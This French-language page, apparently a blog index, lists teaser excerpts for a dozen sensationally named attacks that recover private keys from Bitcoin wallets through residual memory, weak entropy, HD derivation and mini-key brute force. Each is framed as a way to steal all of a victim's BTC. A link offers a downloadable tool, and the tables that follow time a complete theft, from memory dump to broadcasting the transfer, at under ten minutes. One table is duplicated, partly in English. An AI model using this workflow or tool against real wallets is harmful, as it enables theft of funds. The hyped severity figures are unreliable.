  • Spectral Seed Siphon : Comment les octets résiduels de mémoire révèlent les clés privées des portefeuilles Bitcoin perdus et deviennent un chemin pour récupérer les clés privées, permettant à un attaquant de voler tous les coins BTC Spectral Seed Siphon La vulnérabilité de suppression incomplète des données secrètes de la RAM dans les portefeuilles cryptographiques représente l'une des menaces les plus critiques pour l'écosystème Bitcoin moderne. Dans le…Lire la suite
  • Binary Extractor Attack : Comment un étranglement numérique sur les clés privées exerce un contrôle sur les fonds Bitcoin d'une victime, où un attaquant exploite une classe Binary vulnérable et change les règles du jeu en encapsulant et en volant massivement des coins BTC. Binary Extractor Attack : Private Byte Strangler Une vulnérabilité critique appelée Binary Extractor Attack : Private Byte Strangler illustre le danger fondamental du non-respect d'un encapsulation stricte dans les applications cryptographiques…Lire la suite
  • Spectral String Leak : Une compromission massive des portefeuilles Bitcoin via la mémoire résiduelle et une vulnérabilité critique de gestion des chaînes dans le réseau Bitcoin, permettant à un attaquant de récupérer une clé privée et de s'approprier toutes les crypto-monnaies actives. Attaque Spectral String Leak Une attaque Spectral String Leak est une vulnérabilité critique qui peut conduire à la perte totale de bitcoins pour les utilisateurs et les services en raison d'une gestion insuffisamment sécurisée…Lire la suite
  • Memory Phantom Attack : Une vulnérabilité critique de fuite de mémoire dans Bitcoin, conduisant à la récupération de clés privées depuis la RAM non nettoyée et à la capture progressive des phrases de départ BTC par un attaquant, peut conduire à une compromission immédiate des portefeuilles et à un vol massif d'actifs numériques. Memory Phantom Attack Une attaque Memory Phantom Leak ou divulgation de mémoire sensible est une catégorie de menace réelle et reconnue pour Bitcoin (et autres crypto-monnaies), enregistrée dans le CVE comme…Lire la suite
  • Log Whisper Attack : Comment une fuite catastrophique de clés privées et une compromission irréversible des portefeuilles Bitcoin se produisent, où un attaquant transforme un fichier journal ordinaire en un outil pour intercepter tous les fonds de la victime sur le réseau BTC. Log Whisper Attack La vulnérabilité « Log Whisper Attack » est un exemple d'erreur de développement critique aux conséquences irréversibles. La seule défense efficace est une interdiction architecturale de la clé privée…Lire la suite
  • Salt Drain Attack (CVE-2023-39910) : Une vulnérabilité critique dans l'entropie de Libbitcoin Explorer et la récupération complète de clés privées avec la saisie des fonds du portefeuille BTC. La faille entière dans l'entropie du propriétaire a permis à un attaquant de voler tous les coins BTC actifs. Salt Drain Attack CVE-2023-39910 : (Attaque Milk Sad) L'attaque Milk Sad (CVE-2023-39910) a permis aux attaquants de récupérer massivement les clés privées de portefeuilles Bitcoin créés avec Libbitcoin Explorer 3.x, causant des pertes financières significatives…Lire la suite
  • Entropy Recovery Attack : Le spectre de l'entropie contre Bitcoin : une vulnérabilité dans la génération de nombres aléatoires et la perte de données secrètes, y compris la récupération de clés privées et le contrôle total des fonds BTC par un attaquant. « Entropy Ghost Attack » — Combat contre le fantôme de l'entropie La vulnérabilité de génération d'entropie libbitcoin (CVE-2023-39910) est une faille catastrophique rare qui peut non seulement affaiblir partiellement le cryptosystème mais complètement…Lire la suite
  • Slice Phantom Attack : Comment les bugs d'implémentation transforment les clés privées Bitcoin perdues en un outil de contrôle total pour un attaquant, où une nouvelle classe d'attaques par canaux auxiliaires d'implémentation : Compromettre un secret et perdre le contrôle pour un propriétaire de portefeuille Bitcoin Slice Phantom Attack L'attaque Slice Phantom démontre que les détails d'implémentation sont tout aussi importants que la robustesse mathématique des algorithmes. Un ordre incorrect des opérations et l'absence de protection des tampons temporaires permettent…Lire la suite
  • Key Fragmentation Heist – Une nouvelle ère de fragmentation : Comment les fuites partielles deviennent des vols complets d'actifs Bitcoin, où un attaquant prend le contrôle total et saisit complètement les fonds BTC via des fuites fragmentées de clés privées et de données secrètes Attaque Key Fragmentation Heist Attaque Key Fragmentation Heist : L'attaquant transforme un objet sécurisé utilisé pour stocker des clés privées chiffrées en une vulnérabilité en volant la clé fragment par fragment, plutôt que…Lire la suite
  • Stealth Hijack Attack : Récupération de clés privées et vol complet des BTC d'une victime via une vulnérabilité de sérialisation de script Bitcoin, où l'attaquant crée un portefeuille avec l'utilisation publique d'un script furtif personnalisé, où les clés privées sont encodées dans des sections cachées de la bibliothèque LibBitcoin. Stealth Hijack est une attaque qui exploite un bug dans le traitement des scripts et vole les clés secrètes cachées dans une structure de données. Attaque Stealth Hijack : Vol de secrets de script Dans un « Stealth Hijack »…Lire la suite
  • MiniKey Mayhem Attack : Piratages massifs et acquisition complète des fonds BTC des victimes via une vulnérabilité d'attaque par force brute de clé privée, où un attaquant s'empare des portefeuilles Bitcoin perdus à travers une vague de mini-clés de 22 caractères en utilisant l'algorithme KDF. MiniKey Mayhem Attack : Tempête directe Imaginez un cyber-stormtrooper chargeant dans un « Fort MiniKey » avec un canon SHA-256 à haute vitesse : Lors d'une « tempête directe », l'attaquant envoie une vague de mini-clés de 22 caractères…Lire la suite
  • Attaque Shaman’s Gate : dérivation HD et vulnérabilité invisible permettant la récupération de clés privées et le vol de tous les BTC via les clés maîtres, où l'attaquant prend progressivement le contrôle total des fonds Bitcoin. Attaque Shaman’s Gate La classe d'attaques «Shaman’s Gate Attack» est une conséquence fondamentale de la dérivation non durcie dans les portefeuilles HD, comme l'ont confirmé de nombreux piratages. En suivant la pratique de…Lire la suite
  • Attaque PhantomKey Heist : fuite invisible de clés privées et récupération d'accès aux portefeuilles Bitcoin perdus avec contrôle total du solde de la victime, où l'attaquant injecte de manière amicale un module lors de l'audit des clés privées PhantomKey Heist : une attaque invisible de capture de clés privées PhantomKey Heist transforme un appel d'opérateur C++ innocent en un gigantesque vol de trésor numérique. Attaque PhantomKey Heist La vulnérabilité critique «PhantomKey Heist» démontre…Lire la suite

  • Read more

    Télécharger l’outil
    ProcessusTempsÉquipement
    Obtention d'un dump mémoire5-30 secondesDépend de la méthode
    Analyse d'un dump de 16 Go2-5 minutesMacBook Air (M1)
    Validation de 1000 clés candidates30 secondesMacBook Air (M1)
    Génération d'adresse10 secondesMacBook Air (M1)
    Transfert de fonds (diffusion)< 1 secondeInternet
    Total pour compromission complète< 10 minutesMacBook Air (M1)
    AspectÉvaluationRemarque
    CVE-2025-60013 (Initialisation HSM)CVSS 5.7 (Medium)Officiellement faible, mais sert de point d'entrée
    Scalar Venom AttackCVSS 8.5+ (High/Critical)Impact critique de facto
    Attaque combinéeCVSS 9.5+ (Critical)Compromission totale des clés privées
    Récupération après compromissionImpossiblePerte irréversible des fonds
    ProcessusTempsÉquipement
    Obtention d'un dump mémoire5-30 secDepends on the method
    Analyse d'un dump de 16 Go2-5 minMacBook Air (M1)
    Validation de 1000 clés candidates30 secMacBook Air (M1)
    Génération d'adresse10 secMacBook Air (M1)
    Transfert de fonds (diffusion)< 1 secInternet
    Total pour une compromission complète< 10 minutesMacBook Air (M1)